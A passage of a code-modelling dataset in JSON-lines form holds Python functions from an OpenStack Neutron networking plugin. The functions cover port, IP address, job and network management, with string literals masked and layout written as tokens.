_allocate_backend_port(mac, addresses, net, port_id)<EOL>new_port = _allocate_db_port(port_attrs, backend_port, addresses, mac)<EOL><DEDENT>return v._make_port_dict(new_port)<EOL>", "docstring": "Create a port\n\n    Create a port which is a connection point of a device (e.g., a VM\n    NIC) to attach to a L2 Neutron network.\n    : param context: neutron api request context\n    : param port: dictionary describing the port, with keys\n        as listed in the RESOURCE_ATTRIBUTE_MAP object in\n        neutron/api/v2/attributes.py.  All keys will be populated.", "id": "f10757:m5"}
{"signature": "@utils.exc_wrapper(internal=True)<EOL>def update_port(context, id, port):", "body": "LOG.info(\"<STR_LIT>\" % (id, context.tenant_id))<EOL>port_db = db_api.port_find(context, id=id, scope=db_api.ONE)<EOL>if not port_db:<EOL><INDENT>raise n_exc.PortNotFound(port_id=id)<EOL><DEDENT>port_dict = port[\"<STR_LIT:port>\"]<EOL>fixed_ips = port_dict.pop(\"<STR_LIT>\", None)<EOL>admin_only = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\"]<EOL>always_filter = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>utils.filter_body(context, port_dict, admin_only=admin_only,<EOL>always_filter=always_filter)<EOL>if fixed_ips:<EOL><INDENT>quota.QUOTAS.limit_check(context, context.tenant_id,<EOL>fixed_ips_per_port=len(fixed_ips))<EOL><DEDENT>new_security_groups = utils.pop_param(port_dict, \"<STR_LIT>\")<EOL>if new_security_groups is not None:<EOL><INDENT>if (Capabilities.TENANT_NETWORK_SG not in<EOL>CONF.QUARK.environment_capabilities):<EOL><INDENT>if not STRATEGY.is_provider_network(port_db[\"<STR_LIT>\"]):<EOL><INDENT>raise q_exc.TenantNetworkSecurityGroupRulesNotEnabled()<EOL><DEDENT><DEDENT><DEDENT>if new_security_groups is not None and not port_db[\"<STR_LIT>\"]:<EOL><INDENT>raise q_exc.SecurityGroupsRequireDevice()<EOL><DEDENT>group_ids, security_group_mods = _make_security_group_list(<EOL>context, new_security_groups)<EOL>quota.QUOTAS.limit_check(context, context.tenant_id,<EOL>security_groups_per_port=len(group_ids))<EOL>if fixed_ips is not None:<EOL><INDENT>ipam_driver = ipam.IPAM_REGISTRY.get_strategy(<EOL>ipam.QuarkIpamANY.get_name())<EOL>addresses, subnet_ids = [], []<EOL>ip_addresses = {}<EOL>for fixed_ip in fixed_ips:<EOL><INDENT>subnet_id = fixed_ip.get(\"<STR_LIT>\")<EOL>ip_address = fixed_ip.get(\"<STR_LIT>\")<EOL>if not (subnet_id or ip_address):<EOL><INDENT>raise n_exc.BadRequest(<EOL>resource=\"<STR_LIT>\",<EOL>msg=\"<STR_LIT>\")<EOL><DEDENT>if ip_address and not subnet_id:<EOL><INDENT>raise n_exc.BadRequest(<EOL>resource=\"<STR_LIT>\",<EOL>msg=\"<STR_LIT>\")<EOL><DEDENT>if subnet_id and ip_address:<EOL><INDENT>ip_netaddr = None<EOL>try:<EOL><INDENT>ip_netaddr = netaddr.IPAddress(ip_address).ipv6()<EOL><DEDENT>except netaddr.AddrFormatError:<EOL><INDENT>raise n_exc.InvalidInput(<EOL>error_message=\"<STR_LIT>\")<EOL><DEDENT>ip_addresses[ip_netaddr] = subnet_id<EOL><DEDENT>else:<EOL><INDENT>subnet_ids.append(subnet_id)<EOL><DEDENT><DEDENT>port_ips = set([netaddr.IPAddress(int(a[\"<STR_LIT:address>\"]))<EOL>for a in port_db[\"<STR_LIT>\"]])<EOL>new_ips = set([a for a in ip_addresses.keys()])<EOL>ips_to_allocate = list(new_ips - port_ips)<EOL>ips_to_deallocate = list(port_ips - new_ips)<EOL>for ip in ips_to_allocate:<EOL><INDENT>if ip in ip_addresses:<EOL><INDENT>allocated = []<EOL>ipam_driver.allocate_ip_address(<EOL>context, allocated, port_db[\"<STR_LIT>\"],<EOL>port_db[\"<STR_LIT:id>\"], reuse_after=None, ip_addresses=[ip],<EOL>subnets=[ip_addresses[ip]])<EOL>addresses.extend(allocated)<EOL><DEDENT><DEDENT>for ip in ips_to_deallocate:<EOL><INDENT>ipam_driver.deallocate_ips_by_port(<EOL>context, port_db, ip_address=ip)<EOL><DEDENT>for subnet_id in subnet_ids:<EOL><INDENT>ipam_driver.allocate_ip_address(<EOL>context, addresses, port_db[\"<STR_LIT>\"], port_db[\"<STR_LIT:id>\"],<EOL>reuse_after=CONF.QUARK.ipam_reuse_after,<EOL>subnets=[subnet_id])<EOL><DEDENT>if addresses:<EOL><INDENT>port_dict[\"<STR_LIT>\"] = port_db[\"<STR_LIT>\"]<EOL>port_dict[\"<STR_LIT>\"].extend(addresses)<EOL><DEDENT><DEDENT>net_driver = _get_net_driver(port_db.network, port=port_db)<EOL>base_net_driver = _get_net_driver(port_db.network)<EOL>kwargs = {}<EOL>if new_security_groups is not None:<EOL><INDENT>kwargs[\"<STR_LIT>\"] = security_group_mods<EOL><DEDENT>net_driver.update_port(context, port_id=port_db[\"<STR_LIT>\"],<EOL>mac_address=port_db[\"<STR_LIT>\"],<EOL>device_id=port_db[\"<STR_LIT>\"],<EOL>base_net_driver=base_net_driver,<EOL>**kwargs)<EOL>port_dict[\"<STR_LIT>\"] = security_group_mods<EOL>with context.session.begin():<EOL><INDENT>port = db_api.port_update(context, port_db, **port_dict)<EOL><DEDENT>if port_db in context.session:<EOL><INDENT>context.session.expunge(port_db)<EOL><DEDENT>port_db = db_api.port_find(context, id=id, scope=db_api.ONE)<EOL>return v._make_port_dict(port_db)<EOL>", "docstring": "Update values of a port.\n\n    : param context: neutron api request context\n    : param id: UUID representing the port to update.\n    : param port: dictionary with keys indicating fields to update.\n        valid keys are those that have a value of True for 'allow_put'\n        as listed in the RESOURCE_ATTRIBUTE_MAP object in\n        neutron/api/v2/attributes.py.", "id": "f10757:m6"}
{"signature": "@utils.exc_wrapper(internal=True)<EOL>def get_port(context, id, fields=None):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(id, context.tenant_id, fields))<EOL>results = db_api.port_find(context, id=id, fields=fields,<EOL>scope=db_api.ONE)<EOL>if not results:<EOL><INDENT>raise n_exc.PortNotFound(port_id=id)<EOL><DEDENT>return v._make_port_dict(results)<EOL>", "docstring": "Retrieve a port.\n\n    : param context: neutron api request context\n    : param id: UUID representing the port to fetch.\n    : param fields: a list of strings that are valid keys in a\n        port dictionary as listed in the RESOURCE_ATTRIBUTE_MAP\n        object in neutron/api/v2/attributes.py. Only these fields\n        will be returned.", "id": "f10757:m7"}
{"signature": "@utils.exc_wrapper(internal=True)<EOL>def get_ports(context, limit=None, sorts=['<STR_LIT:id>'], marker=None,<EOL>page_reverse=False, filters=None, fields=None):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(context.tenant_id, filters, fields))<EOL>if filters is None:<EOL><INDENT>filters = {}<EOL><DEDENT>if \"<STR_LIT>\" in filters:<EOL><INDENT>if not context.is_admin:<EOL><INDENT>raise n_exc.NotAuthorized()<EOL><DEDENT>ips = []<EOL>try:<EOL><INDENT>ips = [netaddr.IPAddress(ip) for ip in filters.pop(\"<STR_LIT>\")]<EOL><DEDENT>except netaddr.AddrFormatError:<EOL><INDENT>raise n_exc.InvalidInput(<EOL>error_message=\"<STR_LIT>\")<EOL><DEDENT>query = db_api.port_find_by_ip_address(context, ip_address=ips,<EOL>scope=db_api.ALL, **filters)<EOL>ports = []<EOL>for ip in query:<EOL><INDENT>ports.extend(ip.ports)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ports = db_api.port_find(context, limit, sorts, marker,<EOL>fields=fields, join_security_groups=True,<EOL>**filters)<EOL><DEDENT>return v._make_ports_list(ports, fields)<EOL>", "docstring": "Retrieve a list of ports.\n\n    The contents of the list depends on the identity of the user\n    making the request (as indicated by the context) as well as any\n    filters.\n    : param context: neutron api request context\n    : param filters: a dictionary with keys that are valid keys for\n        a port as listed in the RESOURCE_ATTRIBUTE_MAP object\n        in neutron/api/v2/attributes.py.  Values in this dictionary\n        are an iterable containing values that will be used for an exact\n        match comparison for that value.  Each result returned by this\n        function will have matched one of the values for each key in\n        filters.\n    : param fields: a list of strings that are valid keys in a\n        port dictionary as listed in the RESOURCE_ATTRIBUTE_MAP\n        object in neutron/api/v2/attributes.py. Only these fields\n        will be returned.", "id": "f10757:m8"}
{"signature": "@utils.exc_wrapper(internal=True)<EOL>def get_ports_count(context, filters=None):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(context.tenant_id, filters))<EOL>return db_api.port_count_all(context, join_security_groups=True, **filters)<EOL>", "docstring": "Return the number of ports.\n\n    The result depends on the identity of the user making the request\n    (as indicated by the context) as well as any filters.\n    : param context: neutron api request context\n    : param filters: a dictionary with keys that are valid keys for\n        a port as listed in the RESOURCE_ATTRIBUTE_MAP object\n        in neutron/api/v2/attributes.py.  Values in this dictionary\n        are an iterable containing values that will be used for an exact\n        match comparison for that value.  Each result returned by this\n        function will have matched one of the values for each key in\n        filters.\n\n    NOTE: this method is optional, as it was not part of the originally\n          defined plugin API.", "id": "f10757:m9"}
{"signature": "@utils.exc_wrapper(internal=True)<EOL>def delete_port(context, id):", "body": "LOG.info(\"<STR_LIT>\" % (id, context.tenant_id))<EOL>port = db_api.port_find(context, id=id, scope=db_api.ONE)<EOL>if not port:<EOL><INDENT>raise n_exc.PortNotFound(port_id=id)<EOL><DEDENT>if '<STR_LIT>' in port:  <EOL><INDENT>LOG.info(\"<STR_LIT>\" %<EOL>(id, context.tenant_id, port['<STR_LIT>']))<EOL><DEDENT>backend_key = port[\"<STR_LIT>\"]<EOL>mac_address = netaddr.EUI(port[\"<STR_LIT>\"]).value<EOL>ipam_driver = _get_ipam_driver(port[\"<STR_LIT>\"], port=port)<EOL>ipam_driver.deallocate_mac_address(context, mac_address)<EOL>ipam_driver.deallocate_ips_by_port(<EOL>context, port, ipam_reuse_after=CONF.QUARK.ipam_reuse_after)<EOL>net_driver = _get_net_driver(port[\"<STR_LIT>\"], port=port)<EOL>base_net_driver = _get_net_driver(port[\"<STR_LIT>\"])<EOL>net_driver.delete_port(context, backend_key, device_id=port[\"<STR_LIT>\"],<EOL>mac_address=port[\"<STR_LIT>\"],<EOL>base_net_driver=base_net_driver)<EOL>with context.session.begin():<EOL><INDENT>db_api.port_delete(context, port)<EOL><DEDENT>", "docstring": "Delete a port.\n\n    : param context: neutron api request context\n    : param id: UUID representing the port to delete.", "id": "f10757:m10"}
{"signature": "def _get_deallocated_override():", "body": "return '<STR_LIT>'<EOL>", "docstring": "This function exists to mock and for future requirements if needed.", "id": "f10758:m11"}
{"signature": "def update_ip_address(context, id, ip_address):", "body": "LOG.info(\"<STR_LIT>\" % (id, context.tenant_id))<EOL>ports = []<EOL>if '<STR_LIT>' not in ip_address:<EOL><INDENT>raise n_exc.BadRequest(resource=\"<STR_LIT>\",<EOL>msg=\"<STR_LIT>\")<EOL><DEDENT>with context.session.begin():<EOL><INDENT>db_address = db_api.ip_address_find(context, id=id, scope=db_api.ONE)<EOL>if not db_address:<EOL><INDENT>raise q_exc.IpAddressNotFound(addr_id=id)<EOL><DEDENT>iptype = db_address.address_type<EOL>if iptype == ip_types.FIXED and not CONF.QUARK.ipaddr_allow_fixed_ip:<EOL><INDENT>raise n_exc.BadRequest(<EOL>resource=\"<STR_LIT>\",<EOL>msg=\"<STR_LIT>\")<EOL><DEDENT>reset = ip_address['<STR_LIT>'].get('<STR_LIT>', False)<EOL>if reset and db_address['<STR_LIT>'] == <NUM_LIT:1>:<EOL><INDENT>if context.is_admin:<EOL><INDENT>LOG.info(\"<STR_LIT>\")<EOL>db_address['<STR_LIT>'] = _get_deallocated_override()<EOL><DEDENT>else:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise webob.exc.HTTPForbidden(detail=msg)<EOL><DEDENT><DEDENT>port_ids = ip_address['<STR_LIT>'].get('<STR_LIT>', None)<EOL>if port_ids is not None and not port_ids:<EOL><INDENT>raise n_exc.BadRequest(<EOL>resource=\"<STR_LIT>\",<EOL>msg=\"<STR_LIT>\")<EOL><DEDENT>if iptype == ip_types.SHARED:<EOL><INDENT>has_owner = db_address.has_any_shared_owner()<EOL><DEDENT>if port_ids:<EOL><INDENT>if iptype == ip_types.FIXED and len(port_ids) > <NUM_LIT:1>:<EOL><INDENT>raise n_exc.BadRequest(<EOL>resource=\"<STR_LIT>\",<EOL>msg=\"<STR_LIT>\")<EOL><DEDENT>_raise_if_shared_and_enabled(ip_address, db_address)<EOL>ports = db_api.port_find(context, tenant_id=context.tenant_id,<EOL>id=port_ids, scope=db_api.ALL)<EOL>if len(ports) != len(port_ids):<EOL><INDENT>raise n_exc.PortNotFound(port_id=port_ids)<EOL><DEDENT>validate_and_fetch_segment(ports, db_address[\"<STR_LIT>\"])<EOL>validate_port_ip_quotas(context, db_address.network_id, ports)<EOL>if iptype == ip_types.SHARED and has_owner:<EOL><INDENT>for assoc in db_address.associations:<EOL><INDENT>pid = assoc.port_id<EOL>if pid not in port_ids and '<STR_LIT:none>' != assoc.service:<EOL><INDENT>raise q_exc.PortRequiresDisassociation()<EOL><DEDENT><DEDENT><DEDENT>LOG.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (db_address.address_readable,<EOL>[p.id for p in ports]))<EOL>new_address = db_api.update_port_associations_for_ip(context,<EOL>ports,<EOL>db_address)<EOL><DEDENT>elif iptype == ip_types.SHARED and has_owner:<EOL><INDENT>raise q_exc.PortRequiresDisassociation()<EOL><DEDENT>elif '<STR_LIT>' in ip_address['<STR_LIT>']and context.is_admin:<EOL><INDENT>if len(db_address.associations) != <NUM_LIT:0>:<EOL><INDENT>exc_msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% (db_address['<STR_LIT>'],<EOL>db_address.associations))<EOL>raise q_exc.ActionNotAuthorized(msg=exc_msg)<EOL><DEDENT>if ip_address['<STR_LIT>']['<STR_LIT>'] == '<STR_LIT:False>':<EOL><INDENT>db_address['<STR_LIT>'] = False<EOL><DEDENT>else:<EOL><INDENT>db_address['<STR_LIT>'] = True<EOL><DEDENT>return v._make_ip_dict(db_address, context.is_admin)<EOL><DEDENT>else:<EOL><INDENT>ipam_driver.deallocate_ip_address(context, db_address)<EOL>return v._make_ip_dict(db_address, context.is_admin)<EOL><DEDENT><DEDENT>return v._make_ip_dict(new_address, context.is_admin)<EOL>", "docstring": "Due to NCP-1592 ensure that address_type cannot change after update.", "id": "f10758:m13"}
{"signature": "def delete_ip_address(context, id):", "body": "LOG.info(\"<STR_LIT>\" % (id, context.tenant_id))<EOL>with context.session.begin():<EOL><INDENT>ip_address = db_api.ip_address_find(<EOL>context, id=id, scope=db_api.ONE)<EOL>if not ip_address or ip_address.deallocated:<EOL><INDENT>raise q_exc.IpAddressNotFound(addr_id=id)<EOL><DEDENT>iptype = ip_address.address_type<EOL>if iptype == ip_types.FIXED and not CONF.QUARK.ipaddr_allow_fixed_ip:<EOL><INDENT>raise n_exc.BadRequest(<EOL>resource=\"<STR_LIT>\",<EOL>msg=\"<STR_LIT>\")<EOL><DEDENT>if ip_address.has_any_shared_owner():<EOL><INDENT>raise q_exc.PortRequiresDisassociation()<EOL><DEDENT>db_api.update_port_associations_for_ip(context, [], ip_address)<EOL>ipam_driver.deallocate_ip_address(context, ip_address)<EOL><DEDENT>", "docstring": "Delete an ip address.\n\n    : param context: neutron api request context\n    : param id: UUID representing the ip address to delete.", "id": "f10758:m14"}
{"signature": "def get_ports_for_ip_address(context, ip_id, limit=None, sorts=['<STR_LIT:id>'],<EOL>marker=None, page_reverse=False, filters=None,<EOL>fields=None):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(context.tenant_id, filters, fields))<EOL>addr = db_api.ip_address_find(context, id=ip_id, scope=db_api.ONE)<EOL>if not addr:<EOL><INDENT>raise q_exc.IpAddressNotFound(addr_id=ip_id)<EOL><DEDENT>if filters is None:<EOL><INDENT>filters = {}<EOL><DEDENT>filters['<STR_LIT>'] = [ip_id]<EOL>ports = db_api.port_find(context, limit, sorts, marker,<EOL>fields=fields, join_security_groups=True,<EOL>**filters)<EOL>return v._make_ip_ports_list(addr, ports, fields)<EOL>", "docstring": "Retrieve a list of ports.\n\n    The contents of the list depends on the identity of the user\n    making the request (as indicated by the context) as well as any\n    filters.\n    : param context: neutron api request context\n    : param filters: a dictionary with keys that are valid keys for\n        a port as listed in the RESOURCE_ATTRIBUTE_MAP object\n        in neutron/api/v2/attributes.py.  Values in this dictionary\n        are an iterable containing values that will be used for an exact\n        match comparison for that value.  Each result returned by this\n        function will have matched one of the values for each key in\n        filters.\n    : param fields: a list of strings that are valid keys in a\n        port dictionary as listed in the RESOURCE_ATTRIBUTE_MAP\n        object in neutron/api/v2/attributes.py. Only these fields\n        will be returned.", "id": "f10758:m15"}
{"signature": "def get_port_for_ip_address(context, ip_id, id, fields=None):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(id, context.tenant_id, fields))<EOL>addr = db_api.ip_address_find(context, id=ip_id, scope=db_api.ONE)<EOL>if not addr:<EOL><INDENT>raise q_exc.IpAddressNotFound(addr_id=ip_id)<EOL><DEDENT>filters = {'<STR_LIT>': [ip_id]}<EOL>results = db_api.port_find(context, id=id, fields=fields,<EOL>scope=db_api.ONE, **filters)<EOL>if not results:<EOL><INDENT>raise n_exc.PortNotFound(port_id=id)<EOL><DEDENT>return v._make_port_for_ip_dict(addr, results)<EOL>", "docstring": "Retrieve a port.\n\n    : param context: neutron api request context\n    : param id: UUID representing the port to fetch.\n    : param fields: a list of strings that are valid keys in a\n        port dictionary as listed in the RESOURCE_ATTRIBUTE_MAP\n        object in neutron/api/v2/attributes.py. Only these fields\n        will be returned.", "id": "f10758:m16"}
{"signature": "def update_port_for_ip_address(context, ip_id, id, port):", "body": "LOG.info(\"<STR_LIT>\" % (id, context.tenant_id))<EOL>sanitize_list = ['<STR_LIT>']<EOL>with context.session.begin():<EOL><INDENT>addr = db_api.ip_address_find(context, id=ip_id, scope=db_api.ONE)<EOL>if not addr:<EOL><INDENT>raise q_exc.IpAddressNotFound(addr_id=ip_id)<EOL><DEDENT>port_db = db_api.port_find(context, id=id, scope=db_api.ONE)<EOL>if not port_db:<EOL><INDENT>raise q_exc.PortNotFound(port_id=id)<EOL><DEDENT>port_dict = {k: port['<STR_LIT:port>'][k] for k in sanitize_list}<EOL>require_da = False<EOL>service = port_dict.get('<STR_LIT>')<EOL>if require_da and _shared_ip_and_active(addr, except_port=id):<EOL><INDENT>raise q_exc.PortRequiresDisassociation()<EOL><DEDENT>addr.set_service_for_port(port_db, service)<EOL>context.session.add(addr)<EOL><DEDENT>return v._make_port_for_ip_dict(addr, port_db)<EOL>", "docstring": "Update values of a port.\n\n    : param context: neutron api request context\n    : param ip_id: UUID representing the ip associated with port to update\n    : param id: UUID representing the port to update.\n    : param port: dictionary with keys indicating fields to update.\n        valid keys are those that have a value of True for 'allow_put'\n        as listed in the RESOURCE_ATTRIBUTE_MAP object in\n        neutron/api/v2/attributes.py.", "id": "f10758:m17"}
{"signature": "def add_job_to_context(context, job_id):", "body": "db_job = db_api.async_transaction_find(<EOL>context, id=job_id, scope=db_api.ONE)<EOL>if not db_job:<EOL><INDENT>return<EOL><DEDENT>context.async_job = {\"<STR_LIT>\": v._make_job_dict(db_job)}<EOL>", "docstring": "Adds job to neutron context for use later.", "id": "f10759:m0"}
{"signature": "def create_job(context, body):", "body": "LOG.info(\"<STR_LIT>\" % context.tenant_id)<EOL>if not context.is_admin:<EOL><INDENT>raise n_exc.NotAuthorized()<EOL><DEDENT>job = body.get('<STR_LIT>')<EOL>if '<STR_LIT>' in job:<EOL><INDENT>parent_id = job['<STR_LIT>']<EOL>if not parent_id:<EOL><INDENT>raise q_exc.JobNotFound(job_id=parent_id)<EOL><DEDENT>parent_job = db_api.async_transaction_find(<EOL>context, id=parent_id, scope=db_api.ONE)<EOL>if not parent_job:<EOL><INDENT>raise q_exc.JobNotFound(job_id=parent_id)<EOL><DEDENT>tid = parent_id<EOL>if parent_job.get('<STR_LIT>'):<EOL><INDENT>tid = parent_job.get('<STR_LIT>')<EOL><DEDENT>job['<STR_LIT>'] = tid<EOL><DEDENT>if not job:<EOL><INDENT>raise n_exc.BadRequest(resource=\"<STR_LIT>\", msg=\"<STR_LIT>\")<EOL><DEDENT>with context.session.begin(subtransactions=True):<EOL><INDENT>new_job = db_api.async_transaction_create(context, **job)<EOL><DEDENT>return v._make_job_dict(new_job)<EOL>", "docstring": "Creates a job with support for subjobs.\n\n    If parent_id is not in the body:\n    * the job is considered a parent job\n    * it will have a NULL transaction id\n    * its transaction id == its id\n    * all subjobs will use its transaction id as theirs\n\n    Else:\n    * the job is a sub job\n    * the parent id is the id passed in\n    * the transaction id is the root of the job tree", "id": "f10759:m3"}
{"signature": "def delete_job(context, id, **filters):", "body": "LOG.info(\"<STR_LIT>\" % (id, context.tenant_id))<EOL>if not context.is_admin:<EOL><INDENT>raise n_exc.NotAuthorized()<EOL><DEDENT>with context.session.begin():<EOL><INDENT>job = db_api.async_transaction_find(context, id=id, scope=db_api.ONE,<EOL>**filters)<EOL>if not job:<EOL><INDENT>raise q_exc.JobNotFound(job_id=id)<EOL><DEDENT>db_api.async_transaction_delete(context, job)<EOL><DEDENT>", "docstring": "Delete an ip address.\n\n    : param context: neutron api request context\n    : param id: UUID representing the ip address to delete.", "id": "f10759:m5"}
{"signature": "def delete_segment_allocation_range(context, sa_id):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(sa_id, context.tenant_id))<EOL>if not context.is_admin:<EOL><INDENT>raise n_exc.NotAuthorized()<EOL><DEDENT>with context.session.begin():<EOL><INDENT>sa_range = db_api.segment_allocation_range_find(<EOL>context, id=sa_id, scope=db_api.ONE)<EOL>if not sa_range:<EOL><INDENT>raise q_exc.SegmentAllocationRangeNotFound(<EOL>segment_allocation_range_id=sa_id)<EOL><DEDENT>_delete_segment_allocation_range(context, sa_range)<EOL><DEDENT>", "docstring": "Delete a segment_allocation_range.\n\n    : param context: neutron api request context\n    : param id: UUID representing the segment_allocation_range to delete.", "id": "f10760:m4"}
{"signature": "def create_network(context, network):", "body": "LOG.info(\"<STR_LIT>\" % context.tenant_id)<EOL>with context.session.begin():<EOL><INDENT>net_attrs = network[\"<STR_LIT>\"]<EOL>subs = net_attrs.pop(\"<STR_LIT>\", [])<EOL>if not context.is_admin:<EOL><INDENT>if len(subs) > <NUM_LIT:0>:<EOL><INDENT>v4_count, v6_count = <NUM_LIT:0>, <NUM_LIT:0><EOL>for s in subs:<EOL><INDENT>version = netaddr.IPNetwork(s['<STR_LIT>']['<STR_LIT>']).version<EOL>if version == <NUM_LIT:6>:<EOL><INDENT>v6_count += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>v4_count += <NUM_LIT:1><EOL><DEDENT><DEDENT>if v4_count > <NUM_LIT:0>:<EOL><INDENT>tenant_q_v4 = context.session.query(qdv.Quota).filter_by(<EOL>tenant_id=context.tenant_id,<EOL>resource='<STR_LIT>').first()<EOL>if tenant_q_v4 != -<NUM_LIT:1>:<EOL><INDENT>quota.QUOTAS.limit_check(<EOL>context,<EOL>context.tenant_id,<EOL>v4_subnets_per_network=v4_count)<EOL><DEDENT><DEDENT>if v6_count > <NUM_LIT:0>:<EOL><INDENT>tenant_q_v6 = context.session.query(qdv.Quota).filter_by(<EOL>tenant_id=context.tenant_id,<EOL>resource='<STR_LIT>').first()<EOL>if tenant_q_v6 != -<NUM_LIT:1>:<EOL><INDENT>quota.QUOTAS.limit_check(<EOL>context,<EOL>context.tenant_id,<EOL>v6_subnets_per_network=v6_count)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>net_uuid = utils.pop_param(net_attrs, \"<STR_LIT:id>\", None)<EOL>net_type = None<EOL>if net_uuid and context.is_admin:<EOL><INDENT>net = db_api.network_find(context=context, limit=None,<EOL>sorts=['<STR_LIT:id>'], marker=None,<EOL>page_reverse=False, id=net_uuid,<EOL>scope=db_api.ONE)<EOL>net_type = utils.pop_param(net_attrs, \"<STR_LIT>\", None)<EOL>if net:<EOL><INDENT>raise q_exc.NetworkAlreadyExists(id=net_uuid)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>net_uuid = uuidutils.generate_uuid()<EOL><DEDENT>pnet_type, phys_net, seg_id = _adapt_provider_nets(context, network)<EOL>ipam_strategy = utils.pop_param(net_attrs, \"<STR_LIT>\", None)<EOL>if not ipam_strategy or not context.is_admin:<EOL><INDENT>ipam_strategy = CONF.QUARK.default_ipam_strategy<EOL><DEDENT>if not ipam.IPAM_REGISTRY.is_valid_strategy(ipam_strategy):<EOL><INDENT>raise q_exc.InvalidIpamStrategy(strat=ipam_strategy)<EOL><DEDENT>net_attrs[\"<STR_LIT>\"] = ipam_strategy<EOL>default_net_type = net_type or CONF.QUARK.default_network_type<EOL>net_driver = registry.DRIVER_REGISTRY.get_driver(default_net_type)<EOL>net_driver.create_network(context, net_attrs[\"<STR_LIT:name>\"],<EOL>network_id=net_uuid, phys_type=pnet_type,<EOL>phys_net=phys_net, segment_id=seg_id)<EOL>net_attrs[\"<STR_LIT:id>\"] = net_uuid<EOL>net_attrs[\"<STR_LIT>\"] = context.tenant_id<EOL>net_attrs[\"<STR_LIT>\"] = default_net_type<EOL>new_net = db_api.network_create(context, **net_attrs)<EOL>new_subnets = []<EOL>for sub in subs:<EOL><INDENT>sub[\"<STR_LIT>\"][\"<STR_LIT>\"] = new_net[\"<STR_LIT:id>\"]<EOL>sub[\"<STR_LIT>\"][\"<STR_LIT>\"] = context.tenant_id<EOL>s = db_api.subnet_create(context, **sub[\"<STR_LIT>\"])<EOL>new_subnets.append(s)<EOL><DEDENT>new_net[\"<STR_LIT>\"] = new_subnets<EOL><DEDENT>return v._make_network_dict(new_net)<EOL>", "docstring": "Create a network.\n\n    Create a network which represents an L2 network segment which\n    can have a set of subnets and ports associated with it.\n    : param context: neutron api request context\n    : param network: dictionary describing the network, with keys\n        as listed in the RESOURCE_ATTRIBUTE_MAP object in\n        neutron/api/v2/attributes.py.  All keys will be populated.", "id": "f10763:m1"}
{"signature": "def update_network(context, id, network):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(id, context.tenant_id))<EOL>with context.session.begin():<EOL><INDENT>net = db_api.network_find(context, id=id, scope=db_api.ONE)<EOL>if not net:<EOL><INDENT>raise n_exc.NetworkNotFound(net_id=id)<EOL><DEDENT>net_dict = network[\"<STR_LIT>\"]<EOL>utils.pop_param(net_dict, \"<STR_LIT>\")<EOL>if not context.is_admin and \"<STR_LIT>\" in net_dict:<EOL><INDENT>utils.pop_param(net_dict, \"<STR_LIT>\")<EOL><DEDENT>net = db_api.network_update(context, net, **net_dict)<EOL><DEDENT>return v._make_network_dict(net)<EOL>", "docstring": "Update values of a network.\n\n    : param context: neutron api request context\n    : param id: UUID representing the network to update.\n    : param network: dictionary with keys indicating fields to update.\n        valid keys are those that have a value of True for 'allow_put'\n        as listed in the RESOURCE_ATTRIBUTE_MAP object in\n        neutron/api/v2/attributes.py.", "id": "f10763:m2"}
{"signature": "def get_network(context, id, fields=None):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(id, context.tenant_id, fields))<EOL>network = db_api.network_find(context=context, limit=None, sorts=['<STR_LIT:id>'],<EOL>marker=None, page_reverse=False,<EOL>id=id, join_subnets=True, scope=db_api.ONE)<EOL>if not network:<EOL><INDENT>raise n_exc.NetworkNotFound(net_id=id)<EOL><DEDENT>return v._make_network_dict(network, fields=fields)<EOL>", "docstring": "Retrieve a network.\n\n    : param context: neutron api request context\n    : param id: UUID representing the network to fetch.\n    : param fields: a list of strings that are valid keys in a\n        network dictionary as listed in the RESOURCE_ATTRIBUTE_MAP\n        object in neutron/api/v2/attributes.py. Only these fields\n        will be returned.", "id": "f10763:m3"}
{"signature": "def get_networks(context, limit=None, sorts=['<STR_LIT:id>'], marker=None,<EOL>page_reverse=False, filters=None, fields=None):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(context.tenant_id, filters, fields))<EOL>filters = filters or {}<EOL>nets = db_api.network_find(context, limit, sorts, marker, page_reverse,<EOL>join_subnets=True, **filters) or []<EOL>nets = [v._make_network_dict(net, fields=fields) for net in nets]<EOL>return nets<EOL>", "docstring": "Retrieve a list of networks.\n\n    The contents of the list depends on the identity of the user\n    making the request (as indicated by the context) as well as any\n    filters.\n    : param context: neutron api request context\n    : param filters: a dictionary with keys that are valid keys for\n        a network as listed in the RESOURCE_ATTRIBUTE_MAP object\n        in neutron/api/v2/attributes.py.  Values in this dictiontary\n        are an iterable containing values that will be used for an exact\n        match comparison for that value.  Each result returned by this\n        function will have matched one of the values for each key in\n        filters.\n    : param fields: a list of strings that are valid keys in a\n        network dictionary as listed in the RESOURCE_ATTRIBUTE_MAP\n        object in neutron/api/v2/attributes.py. Only these fields\n        will be returned.", "id": "f10763:m4"}
{"signature": "def get_networks_count(context, filters=None):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(context.tenant_id, filters))<EOL>return db_api.network_count_all(context)<EOL>", "docstring": "Return the number of networks.\n\n    The result depends on the identity of the user making the request\n    (as indicated by the context) as well as any filters.\n    : param context: neutron api request context\n    : param filters: a dictionary with keys that are valid keys for\n        a network as listed in the RESOURCE_ATTRIBUTE_MAP object\n        in neutron/api/v2/attributes.py.  Values in this dictiontary\n        are an iterable containing values that will be used for an exact\n        match comparison for that value.  Each result returned by this\n        function will have matched one of the values for each key in\n        filters.\n\n    NOTE: this method is optional, as it was not part of the originally\n          defined plugin API.", "id": "f10763:m5"}
